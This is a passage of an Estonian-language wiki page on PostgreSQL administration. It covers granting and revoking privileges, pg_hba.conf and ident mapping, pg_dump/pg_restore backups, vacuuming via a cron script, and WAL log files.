 REVOKE select ON priit.priidutabel TO mart;&lt;br /&gt;
&lt;br /&gt;
Tabelile saab ligipääse anda ka tulba täpsusega, nt&lt;br /&gt;
&lt;br /&gt;
 GRANT SELECT(nimi) ON priit.priidutabel TO mart;&lt;br /&gt;
&lt;br /&gt;
kusjuures siis on võimalik küsida selectiga ainult vastava tulba andmeid.&lt;br /&gt;
&lt;br /&gt;
Kasutaja parooli muutmine&lt;br /&gt;
&lt;br /&gt;
 ALTER USER kasutajanimi WITH PASSWORD 'parool';&lt;br /&gt;
&lt;br /&gt;
Kõigi skeemi tabelitele rolli ligipääsu tekitamine, vastuseks saab hulga sql lauseid, mis tuleb seejärel käivitada, nt (\o /tmp/failinimi.sql salvestab vastuse failisüsteemi, et seda sealt \i /tmp/failinimi.sql abil seejärel kasutada)&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; \o /tmp/failinimi.sql&lt;br /&gt;
 SQL&amp;gt; select 'GRANT SELECT, INSERT, UPDATE, DELETE ON ' || schemaname || '.' || tablename || ' TO rollinimi;' \&lt;br /&gt;
   from pg_tables where tableowner='omanikunimi' and schemaname != 'pg_catalog' and schemaname != 'information_schema';&lt;br /&gt;
&lt;br /&gt;
Kusjuures, selleks, et roll saaks skeemi kasutada peab olema skeemile antud nt USAGE privileeg&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; GRANT USAGE ON SCHEMA skeeminimi TO rollinimi;&lt;br /&gt;
&lt;br /&gt;
Tabelile ligipääs&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; SELECT 'GRANT SELECT ON skeeminimi.' || table_name || ' TO rakendus_ro;' FROM information_schema.tables WHERE table_schema = 'skeeminimi' \&lt;br /&gt;
   and table_type = 'BASE TABLE';&lt;br /&gt;
 --------------------------------------------------------&lt;br /&gt;
 GRANT SELECT ON skeeminimi.vahendaja TO rakendus_ro;&lt;br /&gt;
 GRANT SELECT ON skeeminimi.oigus_antud TO rakendus_ro;&lt;br /&gt;
 GRANT SELECT ON skeeminimi.dokumendi_fail TO rakendus_ro;&lt;br /&gt;
 GRANT SELECT ON skeeminimi.vastuvotja_staatus TO rakendus_ro;&lt;br /&gt;
 ..&lt;br /&gt;
&lt;br /&gt;
Sequentsidele ligipääs&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; select 'grant usage, select, update on rakendus.' || sequence_name || ' to rakendus_rw' FROM information_schema.sequences \&lt;br /&gt;
   where sequence_schema = 'skeeminimi';&lt;br /&gt;
 &lt;br /&gt;
                                  ?column?                                &lt;br /&gt;
 ------------------------------------------------------------------------&lt;br /&gt;
  grant usage, select, update on skeeminimi.sq_transport_id to rakendus_rw;&lt;br /&gt;
  grant usage, select, update on skeeminimi.sq_vastuvotja_id to rakendus_rw;&lt;br /&gt;
  grant usage, select, update on skeeminimi.sq_ametikoht_id to rakendus_rw;&lt;br /&gt;
  grant usage, select, update on skeeminimi.sq_ametikoht_taitmine_id to rakendus_rw;&lt;br /&gt;
  ..&lt;br /&gt;
&lt;br /&gt;
Ligipääsu eemaldamine&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; SELECT 'REVOKE SELECT ON skeeminimi.' || table_name || ' FROM rakendus_rw;' FROM information_schema.tables WHERE table_schema = 'skeeminimi' \&lt;br /&gt;
   and table_type = 'BASE TABLE';&lt;br /&gt;
&lt;br /&gt;
====Funktsioon====&lt;br /&gt;
&lt;br /&gt;
 ALTER FUNCTION vklog.log_dokument(vk.dokument, vk.dokument, character varying) OWNER TO vk_admin;&lt;br /&gt;
&lt;br /&gt;
====Trigger funktsioon====&lt;br /&gt;
&lt;br /&gt;
 GRANT EXECUTE ON FUNCTION dkk.tr_allkiri_log() TO dkk_rw;&lt;br /&gt;
&lt;br /&gt;
===Rollidele andmebaasiobjektide kasutamise lubamine pg_hba.conf seadistusfaili abil===&lt;br /&gt;
&lt;br /&gt;
Seadistusfail /etc/postgresql/8.4/main/pg_hba.conf kontrollib ligipääsu sellise komplekti andmete alusel&lt;br /&gt;
&lt;br /&gt;
* ühenduse tüüp - üle tcp või unix soketi (st kas üle võrgu või unix soket abil)&lt;br /&gt;
* baasi nimi&lt;br /&gt;
* kasutaja nimi&lt;br /&gt;
* ip aadress (tcp ühenduse puhul)&lt;br /&gt;
* autentimise meetod - parooliga, kasutaja sertifikaadiga; unix soketi puhul ident&lt;br /&gt;
&lt;br /&gt;
====ident====&lt;br /&gt;
&lt;br /&gt;
Nn unixi postgre kasutaja saab ligi kõigile baasidele üle unixi soketi (/var/run/postgresql/.s.PGSQL.5432)&lt;br /&gt;
&lt;br /&gt;
 local   all         postgres                          ident&lt;br /&gt;
&lt;br /&gt;
ja kasutamiseks tuleb öelda nt&lt;br /&gt;
&lt;br /&gt;
 # su - postgres&lt;br /&gt;
 $ psql -U postgres&lt;br /&gt;
&lt;br /&gt;
====map====&lt;br /&gt;
&lt;br /&gt;
mappinguid juhitakse failiga pg_ident.conf http://www.postgresql.org/docs/8.4/static/auth-username-maps.html&lt;br /&gt;
&lt;br /&gt;
 # cat pg_ident.conf&lt;br /&gt;
 ..&lt;br /&gt;
 # MAPNAME     SYSTEM-USERNAME    PG-USERNAME&lt;br /&gt;
 mapping_yks   www-data        pg_kasutaja_1&lt;br /&gt;
 mapping_kaks   www-data       pg_kasutaja_2&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* MAPNAME - teisenduse nimi, mida pg_hba.conf failis kasutatakse&lt;br /&gt;
* SYSTEM-USERNAME - ident nimi (kohalikust arvutist tehtud pöördumiste puhul praktiliselt andmebaasi poole pöörduva protsessi UID)&lt;br /&gt;
* PG-USERNAME - andmebaasi kasutaja nimi, millena on vastaval SYSTEM-USERNAME'il lubatud andmebaasi kasutada&lt;br /&gt;
&lt;br /&gt;
ja (kusjuures nagu ikka, oluline on kus ridade järjekorra mõttes antud rida paikneb nt tema ees ei tohi olla 'local all all reject')&lt;br /&gt;
&lt;br /&gt;
 # pg_hba.conf&lt;br /&gt;
 local   all  all      ident map=mapping_yks&lt;br /&gt;
&lt;br /&gt;
siis töötab nt selline kasutus&lt;br /&gt;
&lt;br /&gt;
 # su - www-data&lt;br /&gt;
 $ psql -U pg_kasutaja_1 baasinimi&lt;br /&gt;
 ..&lt;br /&gt;
 baasinimi =&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===SQL arhiivifaili moodustamine===&lt;br /&gt;
&lt;br /&gt;
pg_dump programmi abil saab teha PostgreSQL andmebaasi (mitte kogu andmeklustrist, st kõigist andmebaasidest ühekorraga) andmetest erinevatel tasemetel koopiaid - andmebaasist, skeemist, tabelist, ja määrata seejuures täpsustusi, nt kas kopeeritakse ainult struktuur või struktuur koos andmetega. pg_dump kasutamise tulemusena moodustatakse arhiivifail.&lt;br /&gt;
&lt;br /&gt;
Programmi kasumisel saab valida kolme formaadi vahel, milles väljund tekitatakse&lt;br /&gt;
&lt;br /&gt;
* tekst (ingl. k. plain) - tekstikujul SQL skript, vaikeformaat&lt;br /&gt;
* kostümiseeritud arhiiv (ingl. k. custom) - binaarne ahriiv, vaikimisi pakitud, võimaldab kõige paindlikumalt pärast arhiivifailis olevaid andmeid kasutada&lt;br /&gt;
* tar - TODO&lt;br /&gt;
&lt;br /&gt;
pg_dump moodustab tänu MVCC tehnika kasutamisele andmetest kooskõlalise väljundi, nii nagu andmete seis oli pg_dump käivitamisel. Kuig pg_dump kasutamise ajal on nö tavapärane andmebaasi kasutamine võimalik, kasutab ta lukke selliselt, et nt samal ajal ei saab tabelite struktuuri muuta.&lt;br /&gt;
&lt;br /&gt;
====SQL skripti moodustamine====&lt;br /&gt;
&lt;br /&gt;
SQL skripti kujul esineva arhiivifaili moodustamiseks sobib öelda nt&lt;br /&gt;
&lt;br /&gt;
  $ export PGPASSWORD=parool&lt;br /&gt;
  $ pg_dump -U postgres -h localhost baasinimi -f baasinimi-20090802.sql &lt;br /&gt;
    1&amp;gt; baasinimi-20090802-1.log 2&amp;gt; baasinimi-20090802-2.log&lt;br /&gt;
&lt;br /&gt;
Skripti tekitamisel saab määrata nt, kas skripti lisatakse käsud andmebaasi, skeemi või tabeli moodustamise kohta või mitte.&lt;br /&gt;
&lt;br /&gt;
====Kostümiseeritud arhiivifaili moodustamine====&lt;br /&gt;
&lt;br /&gt;
Nt andbaasi portaal skeemi data tabelist documents kostümiseeritud arhiivi moodustamiseks tuleb öelda&lt;br /&gt;
&lt;br /&gt;
  $ export PGPASSWORD=parool&lt;br /&gt;
  $ pg_dump -Fc -h localhost -U postgres -t data.documents -f portaal.data.documents.fcdump portaal&lt;br /&gt;
&lt;br /&gt;
===SQL arhiivifaili kasutamine===&lt;br /&gt;
&lt;br /&gt;
Andmete taastamiseks on kaks programmi&lt;br /&gt;
&lt;br /&gt;
* psql - SQL skript antakse programmi sisendisse, psql täidab järjekorras seal esitatud laused kuni esimese veani või skripti lõpuni&lt;br /&gt;
* pg_restore - programmi argumendina näidatakse kostümiseeritud SQL arhiivifail, väljundisse kirjutatakse lausete täitmisel esinevad vead, kuid töötatakse kuni arhiivifaili lõpuni&lt;br /&gt;
&lt;br /&gt;
pg_restore võimaldab&lt;br /&gt;
&lt;br /&gt;
* taastada arhiivist andmeid objekti, nt tableli täpsusega&lt;br /&gt;
* valida, millised järjekorras andmed arhiivist taastatakse&lt;br /&gt;
&lt;br /&gt;
Kui andmebaasis on kasutatud contrib mooduleid, mille esmakordsel paigaldamisel tuli tõenäoliselt käivitavad vastav mooduli paigaldusskript (mis tekitas baasi funktsioone jms), siis taastel ei ole reeglina seda vaja kasutada, sest vastavad funktsioonid on baasis olemas ja taaste käigus nad tekitatakse.&lt;br /&gt;
&lt;br /&gt;
====SQL skripti kasutamine====&lt;br /&gt;
&lt;br /&gt;
Kasutamiseks tuleb psql utiliidiga laadida skript andmebaasi, nt&lt;br /&gt;
&lt;br /&gt;
 $ psql -U postgres -h localhost baasinimi &amp;lt; baasinimi-20090802.sql&lt;br /&gt;
&lt;br /&gt;
Tekstikujul esituse puuduseks on suhteliselt mahtukas tulemus ja aeganõudev protseduuri kestus. Eeliseks võib pidada asjaolu, et andmed on inimesele hõlpsasti loetaval ja muudetaval kujul.&lt;br /&gt;
&lt;br /&gt;
Kui esitada alltoodud käsk kujul, toimub skripti täitmine ühe transaktsioonina, mis praktiliselt tähendab seda, et kui skripti täitmine tehnilises mõttes ebaõnnestub, töötab andmebaas edasi muudatusele eelnenud kujul&lt;br /&gt;
&lt;br /&gt;
 $ psql -1 -U postgres -h localhost -f baasinimi-20090802.sql baasinimi&lt;br /&gt;
&lt;br /&gt;
====Kostümiseeritud arhiivifaili kasutamine====&lt;br /&gt;
&lt;br /&gt;
Andmete kopeerimiseks kostümiseeritud arhiivifailist otse andmebaasi sobib öelda nt&lt;br /&gt;
&lt;br /&gt;
  $ pg_restore -d portaal -h localhost -U postgres portaal.data.documents.fcdump&lt;br /&gt;
&lt;br /&gt;
Arhiivifailis sisalduvate objektide nimekirja esitamiseks tuleb kasutada -l võtit&lt;br /&gt;
&lt;br /&gt;
  $ pg_restore -l /data/backup/dumps/portaal.data.dokuments.fcdump&lt;br /&gt;
  ;&lt;br /&gt;
  ; Archive created at Thu Sep 10 14:54:27 2009&lt;br /&gt;
  ;     dbname: portaal&lt;br /&gt;
  ;     TOC Entries: 11&lt;br /&gt;
  ;     Compression: -1&lt;br /&gt;
  ;     Dump Version: 1.10-0&lt;br /&gt;
  ;     Format: CUSTOM&lt;br /&gt;
  ;     Integer: 4 bytes&lt;br /&gt;
  ;     Offset: 8 bytes&lt;br /&gt;
  ;     Dumped from database version: 8.3.5&lt;br /&gt;
  ;     Dumped by pg_dump version: 8.3.5&lt;br /&gt;
  ;&lt;br /&gt;
  ;&lt;br /&gt;
  ; Selected TOC Entries:&lt;br /&gt;
  ;&lt;br /&gt;
  8462; 1259 40169 TABLE data documents sysadm&lt;br /&gt;
  9384; 0 0 ACL data documents sysadm&lt;br /&gt;
  8463; 1259 40175 SEQUENCE data documents_doc_id_seq sysadm&lt;br /&gt;
  9385; 0 0 SEQUENCE OWNED BY data documents_doc_id_seq sysadm&lt;br /&gt;
  9386; 0 0 SEQUENCE SET data documents_doc_id_seq sysadm&lt;br /&gt;
  9378; 2604 42053 DEFAULT data doc_id sysadm&lt;br /&gt;
  9381; 0 40169 TABLE DATA data documents sysadm&lt;br /&gt;
  9379; 1259 48086585 INDEX data documents_doc_id sysadm&lt;br /&gt;
  9380; 2620 48087091 TRIGGER data timestamp sysadm&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* TOC (Table of Contents) - sisukord&lt;br /&gt;
* rea alguses on objekti id väärtus&lt;br /&gt;
* kõik semikoolonist paremale jääv on kommentaar&lt;br /&gt;
&lt;br /&gt;
Nõuanded pg_restore kasutamiseks&lt;br /&gt;
&lt;br /&gt;
* Arhiivifaili sisu teisendamiseks SQL skripti kujule tuleb jätta ära -d võti&lt;br /&gt;
&lt;br /&gt;
 $ pg_restore arhiivifail-20100506.fcdump &amp;gt; arhiivifail-20100506.sql&lt;br /&gt;
&lt;br /&gt;
* Arhiivifaili ühte tabeli kirjelduse esitamiseks tuleb näidata skeemi ning tabeli nimi ja võti -s&lt;br /&gt;
&lt;br /&gt;
 $ pg_restore -s -n priiduskeem -t inimene arhiivifail-20100506.fcdump&lt;br /&gt;
&lt;br /&gt;
* Arhiivifailist ühe tabeli taastamiseks otse andmebaasi&lt;br /&gt;
&lt;br /&gt;
 $ pg_restore -d baasinimi -n priiduskeem -t inimene arhiivifail-20100506.fcdump&lt;br /&gt;
&lt;br /&gt;
* Arhiivifailist nimekirja alusel objektide taastamiseks tuleb esmalt -l väljundi alusel moodustada sobiva sisuga tekstifail ja seda redigeerida ning siis seda kasutada, seejuures võib ka objektide järjekorda muuta&lt;br /&gt;
&lt;br /&gt;
 $ pg_restore -l arhiivifail-20100506.fcdump &amp;gt; arhiivifail-20100506.fcdump.list&lt;br /&gt;
 $ pg_restore -d baasinimi -h localhost -U postgres -L arhiivifail-20100506.fcdump.list arhiivifail-20100506.fcdump&lt;br /&gt;
&lt;br /&gt;
* Mitme protsessoriga arvutil saab -j võtme abil näidata milliselt määral kasutatakse paralleelset tööd andmete sisselugemisel, nt&lt;br /&gt;
&lt;br /&gt;
 $ pg_restore -j 16 -d baasinimi arhiivifail-20100506.fcdump&lt;br /&gt;
&lt;br /&gt;
====Globals====&lt;br /&gt;
&lt;br /&gt;
Globalsiks nimetatakse neid andmebaasi andmeid, mis ei sisaldu otseselt üheski baasis, vaid kuuluvad andmebaasi kui terviku juurde, nt rollid. Nende salvestamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 $ pg_dumpall -g -h localhost -U postgres &amp;gt; globals.sql&lt;br /&gt;
&lt;br /&gt;
Moodustatud skripti sobib kasutada nagu nö tavalist sql skripti. Ainult rollide andmete kopeerimiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 $ pg_dumpall -r -h localhost -U postgres &amp;gt; roles.sql&lt;br /&gt;
&lt;br /&gt;
===SQL dump/restore kasutamine arvestades objektide omanikke===&lt;br /&gt;
&lt;br /&gt;
Lähtepunkt&lt;br /&gt;
&lt;br /&gt;
* töötab üks PostgreSQL protsesside komplekt&lt;br /&gt;
* on olemas üks andmebaasi tarkvara sisene kasutaja&lt;br /&gt;
* on olemas create database andmebaas (kõik objektid kuuluvad mainitud kasutajale)&lt;br /&gt;
&lt;br /&gt;
Sihtpunkt&lt;br /&gt;
&lt;br /&gt;
* töötab üks PostgreSQL protsesside komplekt&lt;br /&gt;
* lähtepunktiks olnud kasutaja ja baas säilivad algsel kujul&lt;br /&gt;
* on tekitatud juurde teine andmebaasi tarkvara sisene kasutaja&lt;br /&gt;
* on tekitatud juurde teine create database andmebaas; kõik objektid on seal teise kasutaja omanduses&lt;br /&gt;
* teise andmebaasi sisuks on esimese andmebaasi sisu&lt;br /&gt;
* mõlemad create database andmebaasid on tavalised, üksteisest sõltumatud andmebaasid&lt;br /&gt;
&lt;br /&gt;
Nt leiab selline ülesanne kasutust töötavast lahendusest teha koopia kõrvale mingite testimiste jaoks.&lt;br /&gt;
&lt;br /&gt;
====pg_dump -O ja psql====&lt;br /&gt;
&lt;br /&gt;
Protseduuri eeliseks on, et andmete sisselaadimine uude andmebaasi tõimub privilegeerimata kasutajana. pg_dump kasutamisel sql skript moodustamisel tuleb omanike käsud dump failist välja jätta kohe alguses&lt;br /&gt;
&lt;br /&gt;
 pg_dump -O ...&lt;br /&gt;
&lt;br /&gt;
sisselaadimiseks&lt;br /&gt;
&lt;br /&gt;
 TODO&lt;br /&gt;
&lt;br /&gt;
====pg_dump -Fc ja pg_restore====&lt;br /&gt;
&lt;br /&gt;
Protseduuri eeliseks on, et andmete sisselaadimine uude andmebaasi tõimub privilegeerimata kasutajana. Moodustada -Fc dump&lt;br /&gt;
&lt;br /&gt;
 $ /usr/lib/postgresql/9.4/bin/pg_dump -Fc -f baasinimi-20180922-94.dump baasinimi&lt;br /&gt;
&lt;br /&gt;
uue kasutaja moodustamine&lt;br /&gt;
&lt;br /&gt;
 postgres=# create role kasutajanimi login password 'fakeparool' NOSUPERUSER INHERIT NOCREATEDB NOCREATEROLE;&lt;br /&gt;
&lt;br /&gt;
uue baasi moodustamine (template = template0 LC_COLLATE = 'C.UTF-8' LC_CTYPE = 'C.UTF-8' on näiteks)&lt;br /&gt;
&lt;br /&gt;
 postgres=# create database baasinimi owner = kasutajanimi template = template0 LC_COLLATE = 'C.UTF-8' LC_CTYPE = 'C.UTF-8';&lt;br /&gt;
&lt;br /&gt;
Sisselaadimiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ /usr/lib/postgresql/9.4/bin/pg_restore -d baasinimi -O -h 127.0.0.1 -U kasutajanimi baasinimi-20180922-94.dump&lt;br /&gt;
Password:&lt;br /&gt;
pg_restore: [archiver (db)] Error while PROCESSING TOC:&lt;br /&gt;
pg_restore: [archiver (db)] Error from TOC entry 8746; 0 0 COMMENT EXTENSION plpgsql&lt;br /&gt;
pg_restore: [archiver (db)] could not execute query: ERROR:  must be owner of extension plpgsql&lt;br /&gt;
    Command was: COMMENT ON EXTENSION plpgsql IS 'PL/pgSQL procedural language';&lt;br /&gt;
 &lt;br /&gt;
pg_restore: WARNING:  no privileges could be revoked for &amp;quot;public&amp;quot;&lt;br /&gt;
pg_restore: WARNING:  no privileges could be revoked for &amp;quot;public&amp;quot;&lt;br /&gt;
pg_restore: WARNING:  no privileges were granted for &amp;quot;public&amp;quot;&lt;br /&gt;
pg_restore: WARNING:  no privileges were granted for &amp;quot;public&amp;quot;&lt;br /&gt;
WARNING: errors ignored on restore: 1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* -O kasutada ilma owner käskudeta&lt;br /&gt;
* - tõneäoliselt saab mõned praktiliselt ebaolulised vead/hoiatused&lt;br /&gt;
&lt;br /&gt;
====reassing====&lt;br /&gt;
&lt;br /&gt;
Protseduuri puhul toimub andmete sisselaadimine uude andmebaasi privilegeerimata kasutajana. Moodustada -Fc dump&lt;br /&gt;
&lt;br /&gt;
 $ /usr/lib/postgresql/9.4/bin/pg_dump -Fc -f baasinimi-20180922-94.dump baasinimi&lt;br /&gt;
&lt;br /&gt;
uue kasutaja moodustamine&lt;br /&gt;
&lt;br /&gt;
 postgres=# create role uuskasutajanimi login password 'fakeparool' NOSUPERUSER INHERIT NOCREATEDB NOCREATEROLE;&lt;br /&gt;
&lt;br /&gt;
uue baasi moodustamine&lt;br /&gt;
&lt;br /&gt;
 postgres=# create database baasinimi owner = uuskasutajanimi;&lt;br /&gt;
&lt;br /&gt;
andmete sisselaadimine baasi ülikasutajana (postgres)&lt;br /&gt;
&lt;br /&gt;
 postgres$ /usr/lib/postgresql/9.4/bin/pg_restore -d baasinimi baasinimi-20180922-94.dump&lt;br /&gt;
&lt;br /&gt;
Tundun, et see reassing mõjub ühe create database andmebaasi piires; selles, millega on parasjagu ühendus&lt;br /&gt;
&lt;br /&gt;
 sql&amp;gt; reassign owned by vanakasutajanimi to uuskautajanimi;&lt;br /&gt;
&lt;br /&gt;
===Andmebaasi vakuumimine===&lt;br /&gt;
&lt;br /&gt;
Töötavat PostgreSQL andmebaasi tuleb regulaarselt vakuumida (ingl. k. vacuum) nt sellistel põhjustel&lt;br /&gt;
&lt;br /&gt;
* päringud muutuvad kiiremaks kuna planner saab kasutada otsuste tegemisel tegelikkusele enam vastavat infot&lt;br /&gt;
* andmebaasi andmekluster võtab failisüsteemis vähem ruumi&lt;br /&gt;
&lt;br /&gt;
Vakuumimiseks on kaks võimalust&lt;br /&gt;
&lt;br /&gt;
* käsitsi vakuumimine - nt crontab abiga käivitatakse vakuumimist sooritav sql lause&lt;br /&gt;
* autovacuum - andmebaas nö sisemiste vahendite abil otsustab kunas ja mida vakuumida&lt;br /&gt;
&lt;br /&gt;
====Käsitsi vakuumimine====&lt;br /&gt;
&lt;br /&gt;
Käsitsi vakuumimine käib põhimõtteliselt öeldes tabeli või baasi kohta (mis tähendab, et tegeldakse baasi kõigi tabelitega)&lt;br /&gt;
&lt;br /&gt;
 $ psql -h localhost portaal -U postgres -c &amp;quot;vacuum verbose analyze&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Nt võiks kutsuda crontabist välja sellist skripti kord ööpäevas&lt;br /&gt;
&lt;br /&gt;
 #!/bin/bash&lt;br /&gt;
 renice 19 -p $$ 1&amp;gt;/dev/null&lt;br /&gt;
 export PGPASSWORD=parool&lt;br /&gt;
 nyyd=`date +%Y%m%d`&lt;br /&gt;
 export HOSTNAME=10.100.6.88&lt;br /&gt;
 export PGPORT=5432&lt;br /&gt;
 export PGUSER=postgres&lt;br /&gt;
 &lt;br /&gt;
 mkdir /srv/backup/postgresql/vacuum-logs/$nyyd&lt;br /&gt;
 &lt;br /&gt;
 psql_baasid=`/usr/local/postgresql/bin/psql -h $HOSTNAME -p$PGPORT template1 -U $PGUSER -c &amp;quot;\l&amp;quot; \&lt;br /&gt;
 | sed -e '1,3d' | sed -e '$d' | sed -e '$d' | awk {'print $1'}`&lt;br /&gt;
 &lt;br /&gt;
 for i in $psql_baasid&lt;br /&gt;
   do&lt;br /&gt;
     if test &amp;quot;$i&amp;quot; != &amp;quot;template0&amp;quot; &amp;amp;&amp;amp; test &amp;quot;$i&amp;quot; != &amp;quot;template1&amp;quot; &amp;amp;&amp;amp; test &amp;quot;$i&amp;quot; != &amp;quot;postgres&amp;quot;; then&lt;br /&gt;
       /usr/local/postgresql/bin/psql -h $HOSTNAME -p$PGPORT $i -U $PGUSER -c &amp;quot;vacuum verbose analyze&amp;quot; \&lt;br /&gt;
         1&amp;gt;/data/backup/postgresql/vacuum-logs/$nyyd/$HOSTNAME-$nyyd-pg_$i-vacuum-analyze-5432.txt 2&amp;gt;&amp;amp;1;&lt;br /&gt;
         echo &amp;quot;exit code: $?&amp;quot; &amp;gt;&amp;gt; /data/backup/postgresql/vacuum-logs/$nyyd/$HOSTNAME-$nyyd-pg_$i-vacuum-analyze-5432.txt&lt;br /&gt;
     fi&lt;br /&gt;
   done&lt;br /&gt;
&lt;br /&gt;
seejuures tuleb tähele panna, et&lt;br /&gt;
&lt;br /&gt;
* ps auxe esitab vakumeerimise ajal protsesside keskkonnamuutujate väärtused ning kui süsteemis saavad anda käske asjassepuutumatud kasutajad, siis on neil võimalik saada teada see parool&lt;br /&gt;
&lt;br /&gt;
Vakuumimisega seotud ressurssikasutust saab kontrollida /srv/postgresql/postgresql.conf seadistusfaili parameetritega, http://www.postgresql.org/docs/8.3/static/runtime-config-resource.html#RUNTIME-CONFIG-RESOURCE-VACUUM-COST&lt;br /&gt;
&lt;br /&gt;
  # - Cost-Based Vacuum Delay -&lt;br /&gt;
  &lt;br /&gt;
  vacuum_cost_delay = 10                  # 0-1000 milliseconds&lt;br /&gt;
  #vacuum_cost_page_hit = 1               # 0-10000 credits&lt;br /&gt;
  #vacuum_cost_page_miss = 10             # 0-10000 credits&lt;br /&gt;
  #vacuum_cost_page_dirty = 20            # 0-10000 credits&lt;br /&gt;
  #vacuum_cost_limit = 200                # 1-10000 credits&lt;br /&gt;
&lt;br /&gt;
kus &lt;br /&gt;
&lt;br /&gt;
* vacuum_cost_delay = 10 - vähendab plokkseadme I/O kasutust&lt;br /&gt;
&lt;br /&gt;
Vahel võib vakuumi logist leida huvitavaid teateid, nt selline, siis tuleks postgresql.conf failis max_fsm_pages parameetri väärtust varuga vastavalt suurendada&lt;br /&gt;
&lt;br /&gt;
  NOTICE:  number of page slots needed (1875152) exceeds max_fsm_pages (1400000)&lt;br /&gt;
  HINT:  Consider increasing the configuration parameter &amp;quot;max_fsm_pages&amp;quot; to a value over 1875152.&lt;br /&gt;
&lt;br /&gt;
Kui nö tavaline vacuum ei saavuta soovitud tulemus, sobib proovida vacuum full&lt;br /&gt;
&lt;br /&gt;
 sql&amp;gt; \c andmebaas&lt;br /&gt;
 sql&amp;gt; vacuum full;&lt;br /&gt;
&lt;br /&gt;
seejuures tuleb arvestada, et&lt;br /&gt;
&lt;br /&gt;
* parem kui vacuum full ajal rakendused baasi ei kasuta&lt;br /&gt;
* vacuum full võtab palju aega ja tekitab tugeva IO koormuse&lt;br /&gt;
* vacuum full kasutab ajutisel sama palju ruumi kui andmebaasi ise (õieti kõige suurem tabel)&lt;br /&gt;
&lt;br /&gt;
====Autovacuum====&lt;br /&gt;
&lt;br /&gt;
Autovacuum võib olla sisselülitatud või väljalülitatud kusjuures autovacuum juhtub igal juhul automaatsel kui mõne tabeli pg_class.relfrozenxid suurus ületab seadistusfailis näidatud väärtused (vaikimisi 200 M).&lt;br /&gt;
&lt;br /&gt;
 autovacuum_freeze_max_age (integer)&lt;br /&gt;
 &lt;br /&gt;
 Specifies the maximum age (in transactions) that a table's pg_class.relfrozenxid field can attain before a VACUUM operation is &lt;br /&gt;
 forced  to prevent transaction ID wraparound within the table. Note that the system will launch autovacuum processes to prevent&lt;br /&gt;
 wraparound even when autovacuum is otherwise disabled. The default is 200 million transactions. This parameter can only be set&lt;br /&gt;
 at server start, but the setting can be reduced for individual tables by entries in pg_autovacuum.&lt;br /&gt;
&lt;br /&gt;
Autovacuum toimimist iseloomustavad tabeli vastavad tulbad&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; select * from pg_stat_user_tables;&lt;br /&gt;
&lt;br /&gt;
===Andmete varundamine ja taaste WAL logide abil===&lt;br /&gt;
&lt;br /&gt;
PostgreSQL abil saab andmeid varundada nn Full, Differential ja Incremental viisil&lt;br /&gt;
&lt;br /&gt;
* full - varundatud andmetest piisab varundamise hetkel töötanud andmebaasi seisu taastamiseks&lt;br /&gt;
* differential - varundatud andmetest ja ning viimasest full backupist piisab viimase differential varundamise hetkel töötanud andmebaasi seisu taastamiseks; iga differential backupi tegemisel varundatakse kõik viimasest fullile järgnenud muudatused&lt;br /&gt;
* incremental - varundatud andmetest, kõigist viimase full backupist alatest tehtud muudest incrementalitest ja full backupist piisab viimase differential varundamise hetkel töötanud andmebaasi seisu taastamiseks; iga incremental backupi teegmisel varundatakse kõik viimati tehtud incrementalile järgnenud muudatused&lt;br /&gt;
&lt;br /&gt;
Et võimalikest crash-situatsioonidest paremini välja tulla, kirjutab PostgreSQL kõik andmebaasi suhtes sooritatud tegevused andmeklustri alamkataloogi pg_xlog spetsiaalses formaadis logifailidesse, nn WAL (ingl. k. write ahead log) logidesse. Töötamise ajal võiks see kataloog välja näha nt selline&lt;br /&gt;
&lt;br /&gt;
  $ find /data/postgresql/pg_xlog/ -ls&lt;br /&gt;
  7913473    4 drwx------   3 postgres postgres     4096 Apr  5 15:21 /data/postgresql/pg_xlog/&lt;br /&gt;
  7913480 16404 -rw-------   1 postgres postgres 16777216 Apr  5 15:14 /data/postgresql/pg_xlog/000000040000004600000081&lt;br /&gt;
  7913476 16404 -rw-------   1 postgres postgres 16777216 Apr  5 14:08 /data/postgresql/pg_xlog/00000004000000460000007E&lt;br /&gt;
  7913478 16404 -rw-------   1 postgres postgres 16777216 Apr  5 13:49 /data/postgresql/pg_xlog/00000004000000460000007D&lt;br /&gt;
  7913485 16404 -rw-------   1 postgres postgres 16777216 Apr  5 13:23 /data/postgresql/pg_xlog/00000004000000460000007C&lt;br /&gt;
  7913474    4 drwx------   2 postgres postgres     4096 Apr  5 15:21 /data/postgresql/pg_xlog/archive_status&lt;br /&gt;
  7913487    0 -rw-------   1 postgres postgres        0 Apr  5 00:23 /data/postgresql/pg_xlog/archive_status/00000004.history.done&lt;br /&gt;
  7913475    0 -rw-------   1 postgres postgres        0 Apr  5 06:03 /data/postgresql/pg_xlog/archive_status/000000040000004600000066.00557058.backup.done&lt;br /&gt;
  7913477 16404 -rw-------   1 postgres postgres 16777216 Apr  5 15:34 /data/postgresql/pg_xlog/00000004000000460000007A&lt;br /&gt;
  7913483    4 -rw-------   1 postgres postgres      243 Apr  5 06:03 /data/postgresql/pg_xlog/000000040000004600000066.00557058.backup&lt;br /&gt;
  7913486    4 -rw-------   1 postgres postgres       74 Apr  5 00:23 /data/postgresql/pg_xlog/00000004.history&lt;br /&gt;
  7913488 16404 -rw-------   1 postgres postgres 16777216 Apr  5 14:52 /data/postgresql/pg_xlog/000000040000004600000080&lt;br /&gt;
  7913479 16404 -rw-------   1 postgres postgres 16777216 Apr  5 14:30 /data/postgresql/pg_xlog/00000004000000460000007F&lt;br /&gt;
